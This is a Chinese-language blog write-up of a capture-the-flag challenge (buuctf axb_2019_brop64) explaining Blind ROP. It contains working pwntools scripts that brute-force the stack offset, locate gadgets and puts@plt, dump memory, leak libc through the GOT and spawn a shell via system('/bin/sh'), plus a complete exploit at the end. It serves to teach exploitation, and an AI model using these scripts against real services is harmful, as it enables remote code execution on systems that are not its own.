• 【PWN】初见BROP


    image

    前言|与BROP的相遇

    第一次BROP,它让我觉得pwn,或者说网安很妙,也很折磨
    在遇到它之前,之前接触的题目都是简单的栈溢出,感觉没有啥有趣的,很简单,找gadget溢出就可以,一切都看得见
    可遇到它之后,这是真的折磨,一切都是未知
    但是因为未知,所以产生了美感,或许是因为摸不着,所以才有一种神秘的魔力一点点吸引我学pwn

    题目:buuctf-axb_2019_brop64

    因为为了更好的分享体验(防止翻车)
    我已经将题目部署在了本题,并且自己修改了一下flag的趣味性
    后面我会在本地进行盲打分享
    大家可以去buuctf找到这道题目(注意环境libc以及栈对齐一些问题)

    BROP的发现与利用思想简介

    关于一篇论文

    bittau-brop.pdf
    image.png
    BROP(Blind ROP),于 2014 年由 Standford 的 Andrea Bittau 提出,这种攻击方式是实现在无源代码和二进程程序的情况下对运行中的程序进行攻击。
    image.png

    利用思想

    从调用机制上去理解

    或许我们不知道main函数中调用了什么,但在main之前的一切,我们是知道的,也就是我们可以利用main函数,内核层在调用main时,所残留的gadget

    • 我们的目标
    • 能让这个程序挂住,能让这个程序泄露,能让这个程序实现人为函数调用,最终我们要控制

    条件依赖

    1. 程序存在栈溢出漏洞
    2. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样。
      1. nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的
      2. 这意味着: 栈中的canary是固定的,不会重置

    利用思路

    BROP的攻击思路一般有以下几个步骤:(挺模板的)

    • 1.暴力枚举,获取栈溢出长度,如果程序开启了Canary ,顺便将canary也可以爆出来

    • 2.寻找可以返回到程序main函数的gadget,通常被称为stop_gadget

    • 3.利用stop_gadget寻找可利用(potentially useful)gadgets,如:pop rdi; ret

    • 4.寻找BROP Gadget,可能需要诸如write、put等函数的系统调用

    • 5.寻找相应的PLT地址

    • 6.dump远程内存空间

    • 7.拿到相应的GOT内容后,泄露出libc的内存信息,最后利用rop完成getshell

    1.确定栈溢出的长度|偏移量

    在这之前,我们可以尝试%p%x%s,以来确定程序是否有格式化字符串漏洞

    通过爆破确定栈溢出的长度, 如果存在Canary则顺便把Canary爆破出来.
    爆破Canary也称之为Stack Reading, 因为可以用相同的方式把栈上所有的数据都爆破出来.
    image.png

                         +---------------------------+
                           |           ret             | 
                           +---------------------------+
                           |            a              | 递增a字符串覆盖ebp位置
                    ebp--->+---------------------------+
                           |            a+             | 递增a字符串占位填满栈空间
                           |           ....            |        .....
                           |            a+             | 递增a字符串占位填满栈空间
                           |            a+             | 递增a字符串占位填满栈空间
                           |            a+             | 递增a字符串占位填满栈空间
                           |            a+             | 递增a字符串占位填满栈空间
         		   input-->+---------------------------+
    
    def offset_find( ):
        offset = 0
        while True:
            try:
                offset += 1
                #io = remote("node4.buuoj.cn",25526)
                io = process('./pwn')
                io.recvuntil(b'Please tell me:')
                io.send(b'A'*offset)
                if b'Goodbye!' not in io.recvall():
                    raise 'Programe not exit normally!'
                io.close()
            except Exception:
                log.success('The true offset->ebp length is '+ str(offset -1))
                return offset - 1
    

    第一步完成:偏移量为216

    image.png

    2.寻找stop gadgets:

    stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。

    如果该地址是非法地址,那么程序就会crash。这样的话,在攻击者看来程序只是单纯的crash了。因此,攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它。

    对于这道题而言,我们的目标是寻找main,这样就能无限返回main函数,无限进攻尝试!
    image.png

                           +---------------------------+
                           |        0x400000+          | 递增地址覆盖原ret返回位置
                           +---------------------------+
                           |             a             | a字符覆盖ebp位置
                    ebp--->+---------------------------+
                           |             a             | a字符覆盖ebp位置
                           |             a             | a字符覆盖ebp位置
                           |             a             | a字符覆盖ebp位置
                           |             a             | a字符覆盖ebp位置
                           |             a             | a字符覆盖ebp位置
         		  input-->+---------------------------+
    
    

    ps:在这之前,我们可以找出原本ret函数的返回地址,从而推出main函数的大概位置,从而缩小范围

    image.png

    def min_find(offset):
        #io = remote("node4.buuoj.cn",25526)
        io = process('./pwn')
        io.recvuntil(b'Please tell me:')
        io.send(b'A'*offset)
        io.recvuntil(b'A'*offset)
        old_return_addr = u64(io.recvuntil(b'G')[:-1].ljust(8,b'\x00')) #need 8 byte
        print(hex(old_return_addr)) 
        io.close()
        return old_return_addr
    
    
    def stop_find(old_return_addr,offset):
        stop_addr = 0x07d0 #0x0000 #low-bit
        while True:
            try:
                #io = remote("node4.buuoj.cn",25526)
                io = process("./pwn")
                io.recvuntil(b"Please tell me:")
                io.send(b'A' * offset + p64(old_return_addr + stop_addr))
                print(hex(stop_addr))
                if stop_addr > 0xFFFF:
                    log.error("All low byte is wrong!")
                if b"Hello" in io.recvall( ):
                    log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr))
                    return (old_return_addr + stop_addr)
                stop_addr = stop_addr + 1
            except Exception:
                io.close()
    

    第二步完成:我们得到的stop_addr = 0x4007d6

    image.png

    3.寻找brop-gadget

    1. 寻找BROP gadgets,这段gadget也就是libc_csu_init中的这段gadget.
    2. 大家如果接触过retcsu,应该知道有一个这样很特殊的gadget

    image.png

                        +---------------------------+  
                        |         pop rbx           |  0x00
                        +---------------------------+
                        |         pop rbp           |  0x01
                        +---------------------------+
                        |         pop r12           |  0x02
                        +---------------------------+
                        |         pop r13           |  0x04
                        +---------------------------+
                        |         pop r14           |  0x06			
                        +---------------------------+------------------->pop rsi;ret 0x07
                        |         pop r15           |  0x08			  
                        +---------------------------+------------------->pop rdi;ret 0x09
                        |           ret             |  0x10								
                        -----------------------------
    //利用了gadget的结构,来确实是否为我们的要的那个gadget
                            
       +---------------------------+ 
       |          traps            | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
       +---------------------------+
       |           ....            | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
       +---------------------------+
       |          traps            | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
       +---------------------------+
       |          traps            | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
       +---------------------------+
       |          traps            | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
       +---------------------------+
       |          stop             | <----- stop gadget,不会使程序崩溃,作为probe的ret位
       +---------------------------+
       |          probe            | <----- 探针
       -----------------------------
    

    如果我们找到这个gadget的收地址,那么,我们就能拥有几个特别好用的gadget,是啥?
    如果加上0x9,是pop_rdi_ret
    如果再加上0x5,是ret
    image.png

    对于这道题,我们的目标是pop_rdi_ret

                          +---------------------------+
                           |       		 0    	       | trap
                           +---------------------------+
                           |       	   .....           | trap
                           +---------------------------+
                           |       		 0    	       | trap
                           +---------------------------+
                           |       	stop gadget        | stop gadget作为ret返回地址
                           +---------------------------+
                           |       		 0    	       | trap
                           +---------------------------+
                           |       		 0    	       | trap
                           +---------------------------+
                           |       		 0    	       | trap
                           +---------------------------+
                           |       		 0    	       | trap
                           +---------------------------+
                           |       		 0    	       | trap
                           +---------------------------+
                           |       		 0    	       | trap
                           +---------------------------+
                           |         0x400740+         | 递增地址覆盖原ret返回位置
                           +---------------------------+
                           |             a             | a字符串覆盖原saved ebp位置
                    ebp--->+---------------------------+
                           |             a             | a字符串占位填满栈空间
                           |           ....            |        .....
                           |             a             | a字符串占位填满栈空间
                           |             a             | a字符串占位填满栈空间
                           |             a             | a字符串占位填满栈空间
                           |             a             | a字符串占位填满栈空间
         	   our input-->+---------------------------+
    
    def brop_find(stop_addr,offset):
        addr = 0x400950 #0x400000
        while True:
            try:
                #io = remote("node4.buuoj.cn",25526)
                io = process("./pwn")
                io.recvuntil(b"Please tell me:")
                print(hex(addr))                    #careful!
                payload = b'a'*offset + p64(addr) + p64(0)*6 + p64(stop_addr)
                io.send(payload)
                if b'Hello' in io.recvall(timeout=1):
                    log.success("We find the brop_gadget " + hex(addr))
                    return hex(addr)
                addr += 1
            except Exception:
                io.close()
    
    

    第三步完成:我们得到的pop_rdi_ret 为 0x40095a + 0x9

    image.png

    4.寻找puts-plt

    为了让程序有健壮性,在软件构建的时候,采用了动态链接
    也就是,需要才去找他这个函数存在于哪里,利用plt和got表配合使用,从而实现这个功能
    puts-plt有跳转执行函数的功能,找到puts-plt就能执行puts函数

    在找的时候,必须有一个回显内容来进行特征标注,告诉我们找到了
    在没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为’ \ x7fELF’
    所以我们就利用这个

    对于寻找的思路,我们依旧是暴力枚举,(爆破范围是0x0000~0xFFFF),基址为0x400000

                          +---------------------------+
                           |       	stop gadget        | stop gadget确保程序不崩溃
                           +---------------------------+
                           |       	  0x400000+        | 循环递增地址,作为pop的ret地址
                           +---------------------------+
                           |          0x400000 	       | ELF起始地址,地址内存放'\x7fELF'
                           +---------------------------+
                           |        0x40095a + 0x9     | pop rdi;ret地址覆盖原ret返回位置
                           +---------------------------+
                           |             a             | a字符串覆盖ebp位置
                    ebp--->+---------------------------+
                           |             a             | a字符串占位填满栈空间
                           |           ....            |        .....
                           |             a             | a字符串占位填满栈空间
                           |             a             | a字符串占位填满栈空间
                           |             a             | a字符串占位填满栈空间
                           |             a             | a字符串占位填满栈空间
         	   our input-->+---------------------------+
    
    
    def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret):
        maybe_low_byte = 0x0630 #0x0000
        while True:
            try:
                #io = remote("node4.buuoj.cn",25526)
                io = process('./pwn')
                io.recvuntil(b"Please tell me:")
                payload = b'A' * offset
                payload += p64(pop_rdi_ret)
                payload += p64(0x400000)
                payload += p64(plt_base+ maybe_low_byte)
                payload += p64(stop_addr)
                print(hex(maybe_low_byte))
                io.send(payload)
                if maybe_low_byte > 0xFFFF:
                    log.error("All low byte is wrong!")
                if b"ELF" in io.recvall(timeout=1):  
                    log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte))
                    return hex(plt_base + maybe_low_byte)
                maybe_low_byte = maybe_low_byte + 1
            except:
                io.close()
    

    第四步完成:我们找到的plt的地址为puts_plt = 0x400635

    image.png

    5.dump出got地址

    在上面的第四步,我们知道,plt表里,存着got地址,如果我们把plt表dump出来,那么我们就知道got的地址,知道got的地址,我们就能泄露真实的函数地址

    def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr):
        io = process('./pwn')
        #io = remote("node4.buuoj.cn",25526)
        payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(func_plt) + p64(stop_addr)
        io.recvuntil(b"Please tell me:")
        io.sendline(payload)
        io.recvuntil(b'a'*offset)
        io.recv(3) #0x400635 -> 3byte \x00 stop !!!
        try:
            output = io.recv(timeout = 1)
            io.close()
            try:
                output = output[:output.index(b"\nHello,I am a computer")]
                print(output)
            except Exception:
                output = output
            if output == b"":
                output = b"\x00"
            return output
        except Exception:
            io.close()
            return None
    
    def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr):
        result =b''
        while addr < 0x400835:
           print(hex(addr))
           output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr)
           if output is None:
              result += b'\x00'
              addr += 1
              continue
           else:
              result += output
           addr += len(output)
           with open('dump_file','wb') as f:
              f.write(result)
    

    生成的文件到本地,拖进去IDA分析
    此处省略,太久了
    image.png

    image.png

    第五步完成:got的地址为0x601018

    6.常规的retlibc解决即可

    如上我们泄露了got的地址,那么就能通过puts获得真实的函数地址
    利用真实函数地址,泄露libc版本
    找出shell条件,最后常规的栈溢出ROP即可解决

    def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr):
        context(log_level='debug',arch = 'amd64',os = 'linux')
        io = process('./pwn')
        #io = remote("node4.buuoj.cn",27462)
        #libc = ELF('./libc-2.23.so')
        elf = ELF('./pwn')
        libc = elf.libc
        ret = 0x40095a + 0x9 + 0x5
        payload = b'a'*offset
        payload += p64(pop_rdi_ret)
        payload += p64(puts_got)
        payload += p64(puts_plt)
        payload += p64(stop_addr)
        io.recvuntil(b"Please tell me:")
        io.sendline(payload)
        io.recvuntil(b'a'*offset)
        io.recv(3)
        func_addr = io.recv(6)
        puts_address = u64(func_addr.ljust(8,b'\x00'))
        print(hex(puts_address))
        #libc=LibcSearcher('puts',puts_address)
        #libcbase=puts_address-libc.dump('puts')
        #system_address=libcbase+libc.dump('system')
        #bin_sh=libcbase+libc.dump('str_bin_sh')
        libcbase = puts_address - libc.symbols['puts']
        system_address = libcbase + libc.symbols['system']
        bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
        io.recvuntil(b"Please tell me:")
        payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) + p64(stop_addr)
        io.sendline(payload)
        io.interactive()
    
    

    小彩蛋:

    home目录下的flag文件存的都是啥啊!!!

    image.png

    再ls一下,发现有一个ikun的目录,原来flag在这里

    image.png

    最后的EXP

    最好的exp,一共大概150行
    虽然多,但是很套路

    from pwn import *
    from LibcSearcher import *
    
    def offset_find( ):
        offset = 0
        while True:
            try:
                offset += 1
                #io = remote("node4.buuoj.cn",25526)
                io = process('./pwn')
                io.recvuntil(b'Please tell me:')
                io.send(b'A'*offset)
                if b'Goodbye!' not in io.recvall():
                    raise 'Programe not exit normally!'
                io.close()
            except Exception:
                log.success('The true offset->ebp length is '+ str(offset -1))
                return offset - 1
    
    
    def min_find(offset):
        #io = remote("node4.buuoj.cn",25526)
        io = process('./pwn')
        io.recvuntil(b'Please tell me:')
        io.send(b'A'*offset)
        io.recvuntil(b'A'*offset)
        old_return_addr = u64(io.recvuntil(b'G')[:-1].ljust(8,b'\x00')) #need 8 byte
        print(hex(old_return_addr)) 
        io.close()
        return old_return_addr
    
    
    def stop_find(old_return_addr,offset):
        stop_addr = 0x07d0 #0x0000 #low-bit
        while True:
            try:
                #io = remote("node4.buuoj.cn",25526)
                io = process("./pwn")
                io.recvuntil(b"Please tell me:")
                io.send(b'A' * offset + p64(old_return_addr + stop_addr))
                print(hex(stop_addr))
                if stop_addr > 0xFFFF:
                    log.error("All low byte is wrong!")
                if b"Hello" in io.recvall( ):
                    log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr))
                    return (old_return_addr + stop_addr)
                stop_addr = stop_addr + 1
            except Exception:
                io.close()
    
    
    def brop_find(stop_addr,offset):
        addr = 0x400950 #0x400000
        while True:
            try:
                #io = remote("node4.buuoj.cn",25526)
                io = process("./pwn")
                io.recvuntil(b"Please tell me:")
                print(hex(addr))                    #careful!
                payload = b'a'*offset + p64(addr) + p64(0)*6 + p64(stop_addr)
                io.send(payload)
                if b'Hello' in io.recvall(timeout=1):
                    log.success("We find the brop_gadget " + hex(addr))
                    return hex(addr)
                addr += 1
            except Exception:
                io.close()
    
    
    def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret):
        maybe_low_byte = 0x0630 #0x0000
        while True:
            try:
                #io = remote("node4.buuoj.cn",25526)
                io = process('./pwn')
                io.recvuntil(b"Please tell me:")
                payload = b'A' * offset
                payload += p64(pop_rdi_ret)
                payload += p64(0x400000)
                payload += p64(plt_base+ maybe_low_byte)
                payload += p64(stop_addr)
                print(hex(maybe_low_byte))
                io.send(payload)
                if maybe_low_byte > 0xFFFF:
                    log.error("All low byte is wrong!")
                if b"ELF" in io.recvall(timeout=1):  
                    log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte))
                    return hex(plt_base + maybe_low_byte)
                maybe_low_byte = maybe_low_byte + 1
            except:
                io.close()
    
    
    def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr):
        io = process('./pwn')
        #io = remote("node4.buuoj.cn",25526)
        payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(func_plt) + p64(stop_addr)
        io.recvuntil(b"Please tell me:")
        io.sendline(payload)
        io.recvuntil(b'a'*offset)
        io.recv(3) #0x400635 -> 3byte \x00 stop !!!
        try:
            output = io.recv(timeout = 1)
            io.close()
            try:
                output = output[:output.index(b"\nHello,I am a computer")]
                print(output)
            except Exception:
                output = output
            if output == b"":
                output = b"\x00"
            return output
        except Exception:
            io.close()
            return None
    
    def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr):
        result =b''
        while addr < 0x400835:
           print(hex(addr))
           output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr)
           if output is None:
              result += b'\x00'
              addr += 1
              continue
           else:
              result += output
           addr += len(output)
           with open('dump_file','wb') as f:
              f.write(result)
    
    def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr):
        context(log_level='debug',arch = 'amd64',os = 'linux')
        io = process('./pwn')
        #io = remote("node4.buuoj.cn",27462)
        #libc = ELF('./libc-2.23.so')
        elf = ELF('./pwn')
        libc = elf.libc
        ret = 0x40095a + 0x9 + 0x5
        payload = b'a'*offset
        payload += p64(pop_rdi_ret)
        payload += p64(puts_got)
        payload += p64(puts_plt)
        payload += p64(stop_addr)
        io.recvuntil(b"Please tell me:")
        io.sendline(payload)
        io.recvuntil(b'a'*offset)
        io.recv(3)
        func_addr = io.recv(6)
        puts_address = u64(func_addr.ljust(8,b'\x00'))
        print(hex(puts_address))
        #libc=LibcSearcher('puts',puts_address)
        #libcbase=puts_address-libc.dump('puts')
        #system_address=libcbase+libc.dump('system')
        #bin_sh=libcbase+libc.dump('str_bin_sh')
        libcbase = puts_address - libc.symbols['puts']
        system_address = libcbase + libc.symbols['system']
        bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
        io.recvuntil(b"Please tell me:")
        payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) + p64(stop_addr)
        io.sendline(payload)
        io.interactive()
    
    
    
    
    
    offset = 216 #offset_find()
    
    old_return_addr = 0x400000 #min_find(offset) #0x400834
    
    stop_addr = 0x4007d6 #stop_find(old_return_addr,offset) #0x4007d6
    
    brop_gadget = 0x40095a #brop_find(stop_addr,offset) #0x40095a
    
    pop_rdi_ret =brop_gadget + 0x9
    
    plt_base = 0x400000
    
    puts_plt = 0x400635 #func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret)
    
    puts_got = 0x601018 #dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr)
    
    
    #offset_find()
    
    #min_find(offset) 
    
    #stop_find(old_return_addr,offset) 
    
    #brop_find(stop_addr,offset) 
    
    #func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret)
    
    #dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr)
    
    attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr)
    
    

    #谢谢你的观看!

    ^ _ ^

  • 相关阅读:
    Python 中 is 和 == 的区别
    有一个项目管理软件,名字叫8Manage PM!
    水平居中元素
    Docker将本地的镜像上传到私有仓库
    c++11 动态内存管理 -未初始化存储
    Electron使用Preload Scripts实现主进程和渲染进程之间通信
    git工作常用命令
    关于tensorboard无法打开
    隐藏Zotero批注图标(便利贴)
    【数据结构】12.排序
  • 原文地址:https://www.cnblogs.com/HX-Note/p/17291361.html